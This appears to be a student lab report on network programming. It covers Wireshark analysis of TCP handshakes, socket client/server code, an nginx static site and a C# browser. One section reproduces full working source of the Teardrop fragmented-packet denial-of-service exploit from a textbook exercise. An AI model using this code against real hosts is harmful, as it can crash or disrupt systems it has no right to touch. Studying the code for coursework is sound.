TCP三次握手&四次握手
一、以进出“金庸梦”游戏为例使用wireshark抓包分析tcp的三次握手与四次握手
1. tcp三次握手与四次握手简介
tcp三次握手
可参照TCP三次握手详解-深入浅出(有图实例演示)
tcp四次握手
2. 在win10中打开cmd命令行窗口,用telnet进入金庸游戏
telnet(进入telnet客户端)->set localecho(打开本地回显)->open 10.1.230.41 3900(进入游戏服务器)
3. 查看当前网络ip
cmd->ipconfig
4. 查看三次握手
wireshark抓取了很多的数据包,我们用过滤器进行筛选
tcp.port == 3900
三次握手主要由标志位SYN和ACK共同完成的
5. 断开游戏服务器并分析四次握手的包
二、原始套接字编程&SOCKET应用
1、Teardrop代码编程
1.1 实验代码
代码为“网络编程技术”参考书上 “2.11 原始套接字编程”中的Teardrop代码编程
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>
#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n) (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n) htons(n)
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */
#define IP_MF 0x2000 /* More IP fragment en route */
#define IPH 0x14 /* IP header size */
#define UDPH 0x8 /* UDP header size */
#define PADDING 0x1c /* datagram frame padding for first packet */
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can
* withstand maybe 5 or 10 sometimes... Experiment.*/
void usage(u_char *);
u_long name_resolve(u_char *);
void send_frags(int, u_long, u_long, u_short, u_short);
int main(int argc, char **argv)
{
int one = 1, count = 0, i, rip_sock;
// 定义源地址和目的地址
u_long src_ip = 0, dst_ip = 0;
// 定义源端口和目的端口
u_short src_prt = 0, dst_prt = 0;
// 定义一个32位的IPv4地址
struct in_addr addr;
printf("teardrop route|daemon9\n\n");
//创建原始套接字
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
fprintf(stderr, "raw socket");
exit(1);
}
//设置套接字选项IP_HDRINCL
if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
(char *)&one, sizeof(one))< 0)
{
fprintf(stderr, "IP_HDRINCL");
exit(1);
}
if (argc < 3)
usage(argv[0]);
// 设置源IP 和 目的IP
if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
{
fprintf(stderr, "What the hell kind of IP address is that?\n");
exit(1);
}
while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
{
switch (i)
{
case 's': // source port (should be emphemeral)
src_prt = (u_short)atoi(optarg);
break;
case 't': // dest port (DNS, anyone?)
dst_prt = (u_short)atoi(optarg);
break;
case 'n': // number to send
count = atoi(optarg);
break;
default :
usage(argv[0]);
break; // NOTREACHED
}
}
srandom((unsigned)(utimes("0",(time_t)0)));
if (!src_prt) src_prt = (random() % 0xffff);
if (!dst_prt) dst_prt = (random() % 0xffff);
if (!count)
count = COUNT;
printf("Death on flaxen wings:\n");
addr.s_addr = src_ip;
printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
addr.s_addr = dst_ip;
printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
printf(" Amt: %5d\n", count);
printf("[\n ");
for (i = 0; i < count; i++)
{
send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
// printf("b00m ");
usleep(500);
}
printf("]\n");
return (0);
}
// 设置 IP 包的内容
void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
{
u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
u_char byte; // a byte
// 套接字地址结构
struct sockaddr_in sin; /* socket protocol structure */
sin.sin_family = AF_INET;
sin.sin_port = src_prt;
sin.sin_addr.s_addr = dst_ip;
packet = (u_char *)malloc(IPH + UDPH + PADDING);
p_ptr = packet;
flag = packet;
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
// IP version and header length
byte = 0x45;
memcpy(p_ptr, &byte, sizeof(u_char));
p_ptr += 2; // IP TOS (skipped)
// total length
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
p_ptr += 2;
*((u_short *)p_ptr) = htons(242); // IP id
p_ptr += 2;
//IP frag flags and offset
*((u_short *)p_ptr) |= FIX(IP_MF);
p_ptr += 2;
*((u_short *)p_ptr) = 0x40; // IP TTL
byte = IPPROTO_UDP;
memcpy(p_ptr + 1, &byte, sizeof(u_char));
// IP checksum filled in by kernel
p_ptr += 4;
// IP source address
*((u_long *)p_ptr) = src_ip;
p_ptr += 4;
// IP destination address
*((u_long *)p_ptr) = dst_ip;
p_ptr += 4;
*((u_short *)p_ptr) = htons(src_prt); // UDP source port
p_ptr += 2;
*((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
p_ptr += 2;
*((u_short *)p_ptr) = htons(PADDING); // UDP total length
p_ptr += 4;
// 发送数据:Fake News
*((u_short *)p_ptr) = 0x46;
p_ptr++;
*((u_short *)p_ptr) = 0x61;
p_ptr++;
*((u_short *)p_ptr) = 0x6B;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x20;
p_ptr++;
*((u_short *)p_ptr) = 0x4E;
p_ptr++;
*((u_short *)p_ptr) = 0x65;
p_ptr++;
*((u_short *)p_ptr) = 0x77;
p_ptr++;
*((u_short *)p_ptr) = 0x73;
int i=1;
while(i <= 56)
{
printf("%x\t",*flag);
flag++;
if(0 == i%8)
printf("\n");
i++;
}
if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
// IP total length is 2 bytes into the header
p_ptr = &packet[2];
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
// IP offset is 6 bytes into the header
p_ptr += 4;
*((u_short *)p_ptr) = FIX(MAGIC);
if (sendto(sock, packet, IPH+MAGIC+1, 0,
(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
{
fprintf(stderr, "\nsendto");
free(packet);
exit(1);
}
free(packet);
}
// 获取主机信息
u_long name_resolve(u_char *host_name)
{
struct in_addr addr;
struct hostent *host_ent;
if ((addr.s_addr = inet_addr(host_name)) == -1)
{
if (!(host_ent = gethostbyname(host_name))) return (0);
bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
}
return (addr.s_addr);
}
void usage(u_char *name)
{
fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
exit(0);
}
1.2 抓包结果
2、SOCKET应用实例
2.1 查看服务器ip
2.2 服务器及客户端代码
服务器
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>
#define PORT "9090" // the port users will be connecting to
#define BACKLOG 10
// how many pending connections queue will hold
void sigchld_handler(int s)
{
while(waitpid(-1, NULL, WNOHANG) > 0);
}
// get sockaddr, IPv4 or IPv6:
void *get_in_addr(struct sockaddr *sa)
{
if (sa->sa_family == AF_INET) {
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int main(void)
{
int sockfd, new_fd; // listen on sock_fd, new connection on new_fd
struct addrinfo hints, *servinfo, *p;
struct sockaddr_storage their_addr; // connector's address information
socklen_t sin_size;
struct sigaction sa;
int yes=1;
char s[INET6_ADDRSTRLEN];
int rv;
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE; // use my IP
if ((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0) {
fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv));
return 1;
}
// loop through all the results and bind to the first we can
for(p = servinfo; p != NULL; p = p->ai_next) {
if ((sockfd = socket(p->ai_family, p->ai_socktype,
p->ai_protocol)) == -1) {
perror("server: socket");
continue;
}
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes,
sizeof(int)) == -1) {
perror("setsockopt");
exit(1);
}
if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) {
close(sockfd);
perror("server: bind");
continue;
}
break;
}
if (p == NULL) {
fprintf(stderr, "server: failed to bind\n");
return 2;
}
freeaddrinfo(servinfo); // all done with this structure
if (listen(sockfd, BACKLOG) == -1) {
perror("listen");
exit(1);
}
sa.sa_handler = sigchld_handler; // reap all dead processes
sigemptyset(&sa.sa_mask);
sa.sa_flags = SA_RESTART;
if (sigaction(SIGCHLD, &sa, NULL) == -1) {
perror("sigaction");
exit(1);
}
printf("server: waiting for connections...\n");
while(1) { // main accept() loop
sin_size = sizeof their_addr;
new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size);
if (new_fd == -1) {
perror("accept");
continue;
}
inet_ntop(their_addr.ss_family,
get_in_addr((struct sockaddr *)&their_addr),
s, sizeof s);
printf("server: got connection from %s\n", s);
if (!fork()) { // this is the child process
close(sockfd); // child doesn't need the listener
if (send(new_fd, "Hello, world!", 13, 0) == -1)
perror("send");
close(new_fd);
exit(0);
}
close(new_fd); // parent doesn't need this
}
return 0;
}
客户端
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define PORT "9090" //the port client will be connecting to
#define MAXDATASIZE 100 //max number of bytes we can get at once
//get sockaddr, IPv4 or IPv6
void *get_in_addr(struct sockaddr *sa)
{
if(sa->sa_family == AF_INET)
{
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int main(int argc, char *argv[])
{
int sockfd, numbytes;
char buf[MAXDATASIZE];
struct addrinfo hints, *servinfo, *p;
int rv;
char s[INET6_ADDRSTRLEN];
if(argc != 2)
{
fprintf(stderr, "usage:client hostname\n");
exit(1);
}
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
{
fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
return 1;
}
// loop through all the results and connect to the first we can
for(p = servinfo; p != NULL; p = p->ai_next)
{
if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
{
perror("client:socket");
continue;
}
if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
{
close(sockfd);
perror("client:connect");
continue;
}
break;
}
if(p == NULL)
{
fprintf(stderr, "client:failed to connect\n");
return 2;
}
inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
printf("client:connecting to %s\n",s);
freeaddrinfo(servinfo);// all done with this structure
if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
{
perror("recv");
exit(1);
}
buf[numbytes] = '\0';
printf("client:received %s\n",buf);
close(sockfd);
return 0;
}
2.3 编译文件
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#define PORT "9090" //port we're listening on
//get sockaddr,IPv4 or IPv6:
void *get_in_addr(struct sockaddr *sa)
{
if(sa->sa_family == AF_INET){
return &(((struct sockaddr_in*)sa)->sin_addr);
}
return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int main(void)
{
fd_set master;
// master file descriptor list
fd_set read_fds; // temp file descriptor list for select()
int fdmax;
// maximum file descriptor number
int listener;
// listening socket descriptor
int newfd;
// newly accept()ed socket descriptor
struct sockaddr_storage remoteaddr; // client address
socklen_t addrlen;
char buf[256];
// buffer for client data
int nbytes;
char remoteIP[INET6_ADDRSTRLEN];
int yes=1;
// for setsockopt() SO_REUSEADDR, below
int i, j, rv;
struct addrinfo hints, *ai, *p;
FD_ZERO(&master);
// clear the master and temp sets
FD_ZERO(&read_fds);
// get us a socket and bind it
memset(&hints, 0, sizeof hints);
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
if((rv = getaddrinfo(NULL, PORT, &hints, &ai)) != 0)
{
fprintf(stderr, "selectserver:%s\n", gai_strerror(rv));
exit(1);
}
for(p = ai; p != NULL; p = p->ai_next)
{
listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
if(listener < 0)
{
continue;
}
// lose the pesky "address already in use" error message
setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
if(bind(listener, p->ai_addr, p->ai_addrlen) < 0)
{
close(listener);
continue;
}
break;
}
// if we got here, it means we didn't get bound
if(p == NULL)
{
fprintf(stderr, "selectserver:failed to bind\n");
exit(2);
}
freeaddrinfo(ai); // all done with this
// listen
if(listen(listener, 10) == -1)
{
perror("listen");
exit(3);
}
// add the listener to the master set
FD_SET(listener, &master);
// keep track of the biggest file descriptor
fdmax = listener; // so far, it's this one
// main loop
for(;;)
{
read_fds = master; // copy it
if(select(fdmax + 1, &read_fds, NULL, NULL, NULL) == -1)
{
perror("select");
exit(4);
}
// run through the existing connections looking for data to read
for(i = 0; i <= fdmax; i++)
{
if(FD_ISSET(i, &read_fds))// we got one!!
{
if(i == listener)
{
// handle new connections
addrlen = sizeof remoteaddr;
newfd = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen);
if(newfd == -1)
{
perror("accept");
}
else
{
FD_SET(newfd, &master); // add to master set
if(newfd > fdmax)
{
// keep track of the max
fdmax = newfd;
}
printf("selectserver: new connection from %s on "
"socket %d\n",
inet_ntop(remoteaddr.ss_family,
get_in_addr((struct sockaddr*)&remoteaddr),
remoteIP, INET6_ADDRSTRLEN),
newfd);
}
}
else
{
// handle data from a client
if((nbytes = recv(i, buf, sizeof buf, 0)) <= 0)
{
// got error or connection closed by client
if(nbytes == 0)
{
// connection closed
printf("selectserver:socket %d hung up\n", i);
}
else
{
perror("recv");
}
close(i);// bye!
FD_CLR(i, &master);// remove from master set
}
else
{
// we got some data from a client
for(j =0; j <= fdmax; j++)
{
// send to everyone!
if(FD_ISSET(j, &master))
{
// except the listener and ourselves
if(j != listener && j != i)
{
if(send(j, buf, nbytes, 0) == -1)
{
perror("send");
}
}
}
}
}
} //END handle from client
} //END got new incoming connection
} //END looping through file descriptors
} //END for(;;)--and you thought it would never end!
return 0;
}
三、用ngnix完成一个简单web网站
1、静态页面设计
1.1目录结构
1.2效果图
2、安装 nginx
使用命令:
sudo apt update
sudo apt install nginx
安装完成后,请检查 nginx 服务的状态:
sudo systemctl status nginx
使用浏览器输入:http://你的 Ubuntu 的 IP 地址(例:http://192.168.0.7)打开默认的 nginx 登录页面。
至此,就成功安装了 nginx ,更多的 nginx 使用命令请参考以下:
1、停止nginx服务: sudo systemctl stop nginx
2、再次启动: sudo systemctl start nginx
3、重新启动nginx服务: sudo systemctl restart nginx
4、在进行一些配置更改后重新加载Nginx服务: sudo systemctl reload nginx
5、禁用nginx服务在启动时启动: sudo systemctl disable nginx
6、启用nginx服务在启动时启动: sudo systemctl enable nginx
2、设置 nginx 服务器模块
第一步:将域名指向本机
使用命令:
sudo nano /etc/hosts
然后添加一行内容(域名可以自己随便设置,这里我设置的为 ubuntuzcj.com):
127.0.0.1 ubuntuzcj.com www.ubuntuzcj.com
保存之后,重启 network:
sudo /etc/init.d/networking restart
第二步:创建目录结构
文档根目录是域名网站文件的存储和响应请求的目录,将文档根目录设置为我们想要的任何位置,但在本指南中,我们将使用以下目录结构:
/var/www/
├── ubuntuzcj.com
│ └── public_html
├── ubuntuzcj.net
│ └── public_html
我们希望在 /var/www 目录下的服务器上托管的每个域创建一个单独的目录,在每个这些目录中,我们将创建一个 public_html 目录来存储域网站文件。
我们来为我们的域 ubuntuzcj.com 创建根目录。
sudo mkdir -p /var/www/ubuntuzcj.com/public_html
后续需要使用 rar 来压缩文件,所以先下载好。
sudo apt install rar
下载完毕后,进入域文档根目录下,此时没有任何文件。
cd /var/www/ubuntuzcj.com/public_html
ls
创建一个 123.txt 文件并用 rar 压缩。
sudo nano 123.txt
sudo rar a 123.rar 123.txt
紧接着,在 123.rar 同目录下创建一个 index.html ,并输入以下的代码。
sudo nano index.html
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>ubuntuzcj.com</title>
</head>
<body>
<h1>标题</h1>
<p>内容:这是一个简单的网页</p>
<img src="https://i01piccdn.sogoucdn.com/c4e7021b4ab1def7" alt="动漫图">
<br><br><br>
<a href="https://www.baidu.com">百度一下,你就知道</a>
<br><br><br>
<a href="123.rar">下载一个 123.txt 文本</a>
</body>
</html>
第三步:创建服务器块
默认情况下,在 Ubuntu 系统上 nginx 服务器模块配置文件存储在 /etc/nginx/sites-available 目录中,这些目录通过到 /etc/nginx/sites-enabled/ 目录的符号链接启用。
首先创建基本配置文件。
sudo nano /etc/nginx/sites-available/ubuntuzcj.com
server {
listen 80;
listen [::]:80;
root /var/www/ubuntuzcj.com/public_html/;
index index.html;
server_name ubuntuzcj.com www.ubuntuzcj.com;
access_log /var/log/nginx/ubuntuzcj.com.access.log;
error_log /var/log/nginx/ubuntuzcj.com.error.log;
location / {
try_files $uri $uri/ =404;
}
}
要启用新的服务器块文件,我们需要创建一个从文件到启动站点的符号链接,该目录在启动期间由 nginx 读取。
sudo ln -s /etc/nginx/sites-available/ubuntuzcj.com /etc/nginx/sites-enabled/
四、C# 使用 WebBrowser 编写一个简易的网页客户端
1、创建项目
打开 VS2019,点击 “ 创建新项目 ”。
选择 C# 的 “ Windows 窗体应用 ”,然后点击 “ 下一步 ”。
输入项目名称,选择保存路径,然后点击 “ 创建 ”。
2、窗体设计
添加 MenuStrip 控件到窗口中,作为菜单栏,并添加如下的下拉选项。
添加 ToolStrip 控件到窗口中,作为工具栏,如图所示:
然后添加一些工具项。
添加 StatusStrip 控件到窗口中,作为状态栏。
添加一个 StatusLabel(文本内容:当前状态)。
添加 WebBrowser 控件到窗口中,作为网页的显示界面。
3、代码编写
说明:
一、按钮类的控件,可以双击后转到代码编辑区;
二、如果出现部分红色波浪线的部分,可以点击 “ 显示修补程序 ” ,这是由于没有定义。
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace WebShow
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
public Form1(string url)
{
InitializeComponent();
// 打开用户主页.
// 以下事件在设计器中不可见.
webBrowser1.CanGoBackChanged +=
new EventHandler(webBrowser1_CanGoBackChanged);
webBrowser1.CanGoForwardChanged +=
new EventHandler(webBrowser1_CanGoForwardChanged);
webBrowser1.DocumentTitleChanged +=
new EventHandler(webBrowser1_DocumentTitleChanged);
webBrowser1.StatusTextChanged +=
new EventHandler(webBrowser1_StatusTextChanged);
if (url == string.Empty)
webBrowser1.GoHome();
else
webBrowser1.Navigate(url);
}
//打开本地 html 文件
private void ToolStripMenuItem1_Click(object sender, EventArgs e)
{
OpenFileDialog ofd = new OpenFileDialog();//实例打开文件窗口对象
ofd.Filter = "Htm文件(*.htm)|*.htm|Html文件(*.html)|*.html"; //设置“另存为文件类型”或“文件类型”框中出现的选择内容
ofd.FilterIndex = 1; //设置默认显示文件类型为Jpg文件(*.jpg)|*.jpg
ofd.Title = "选择Html文件"; //获取或设置文件对话框标题
ofd.InitialDirectory = Application.StartupPath;
ofd.RestoreDirectory = true;
if (ofd.ShowDialog() == DialogResult.OK)
{
toolStripTextBox1.Text = ofd.FileName;
}
else
{
return;
}
}
//菜单栏——打印
private void ToolStripMenuItem2_Click(object sender, EventArgs e)
{
webBrowser1.ShowPrintDialog();
}
//打印设置
private void ToolStripMenuItem3_Click(object sender, EventArgs e)
{
webBrowser1.ShowPageSetupDialog();
}
//打印预览
private void ToolStripMenuItem4_Click(object sender, EventArgs e)
{
webBrowser1.ShowPrintPreviewDialog();
}
//网页属性
private void ToolStripMenuItem5_Click(object sender, EventArgs e)
{
webBrowser1.ShowPropertiesDialog();
}
//网页源码
private void ToolStripMenuItem6_Click(object sender, EventArgs e)
{
// 显示网页源码的对话框显示出来
CodeView dialogCodeView = new CodeView();
dialogCodeView.Text = webBrowser1.Url.ToString() + " - 原始源";
dialogCodeView.Show();
// 把网页源码显示在弹出的窗口中
// 首先解码
//StreamReader reader = new StreamReader(webBrowser1.DocumentStream, Encoding.GetEncoding("GB2312"));
//StreamReader reader = new StreamReader(webBrowser1.DocumentStream, Encoding.UTF8);
StreamReader reader = new StreamReader(webBrowser1.DocumentStream, Encoding.Default);
dialogCodeView.sourceCode = reader.ReadToEnd();
reader.Close();
}
//另存为
private void ToolStripMenuItem7_Click(object sender, EventArgs e)
{
webBrowser1.ShowSaveAsDialog();
}
//退出
private void ToolStripMenuItem8_Click(object sender, EventArgs e)
{
webBrowser1.Dispose();
Application.Exit();
}
//后退
private void toolStripButton1_Click(object sender, EventArgs e)
{
webBrowser1.GoBack();
}
//前进
private void toolStripButton2_Click(object sender, EventArgs e)
{
webBrowser1.GoForward();
}
//主页
private void toolStripButton3_Click(object sender, EventArgs e)
{
webBrowser1.GoHome();
}
//刷新
private void toolStripButton4_Click(object sender, EventArgs e)
{
// 如果地址为 "about:blank" , 避免刷新.
if (!webBrowser1.Url.Equals("about:blank"))
webBrowser1.Refresh();
}
//前往
private void toolStripButton5_Click(object sender, EventArgs e)
{
Navigate(toolStripTextBox1.Text);
}
//停止
private void toolStripButton6_Click(object sender, EventArgs e)
{
webBrowser1.Stop();
}
//搜索
private void toolStripButton7_Click(object sender, EventArgs e)
{
webBrowser1.GoSearch();
}
//工具栏——打印
private void toolStripButton8_Click(object sender, EventArgs e)
{
webBrowser1.Print();
}
//文本框
private void toolStripTextBox1_Click(object sender, EventArgs e)
{
toolStripTextBox1.SelectAll();
}
//文本框
private void toolStripTextBox1_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Enter)
{
Navigate(toolStripTextBox1.Text);
}
}
private void Navigate(String address)
{
if (String.IsNullOrEmpty(address)) return;
if (address.Equals("about:blank")) return;
try
{
webBrowser1.Navigate(new Uri(address));
}
catch (System.UriFormatException)
{
return;
}
}
private void webBrowser1_Navigated(object sender, WebBrowserNavigatedEventArgs e)
{
toolStripTextBox1.Text = webBrowser1.Url.ToString();
}
private void webBrowser1_CanGoBackChanged(object sender, EventArgs e)
{
toolStripButton1.Enabled = webBrowser1.CanGoBack;
}
private void webBrowser1_CanGoForwardChanged(object sender, EventArgs e)
{
toolStripButton2.Enabled = webBrowser1.CanGoForward;
}
// 用当前网页文档的标题取代窗口标题.
private void webBrowser1_DocumentTitleChanged(object sender, EventArgs e)
{
this.Text = webBrowser1.DocumentTitle;
}
private void webBrowser1_StatusTextChanged(object sender, EventArgs e)
{
toolStripStatusLabel1.Text = webBrowser1.StatusText;
}
// 单击程序中某个链接后会打开新窗口,此时就会执行NewWinow事件中的代码
// 通过此事件中的代码将打开新窗口中内容添加到本软件的webBrowser控件中显示
// 实现网页用我们自定义的浏览器显示
private void webBrowser1_NewWindow(object sender, System.ComponentModel.CancelEventArgs e)
{
string newURL = webBrowser1.StatusText;
Form1 newform = new Form1(newURL);
newform.toolStripStatusLabel1.Text = "正在打开网页 " + newURL + " ...";
newform.Show();
// 使其他浏览器无法捕获此事件
// 阻止了其他浏览器显示网页,而是采用我们自定义的浏览器来显示
e.Cancel = true;
}
}
}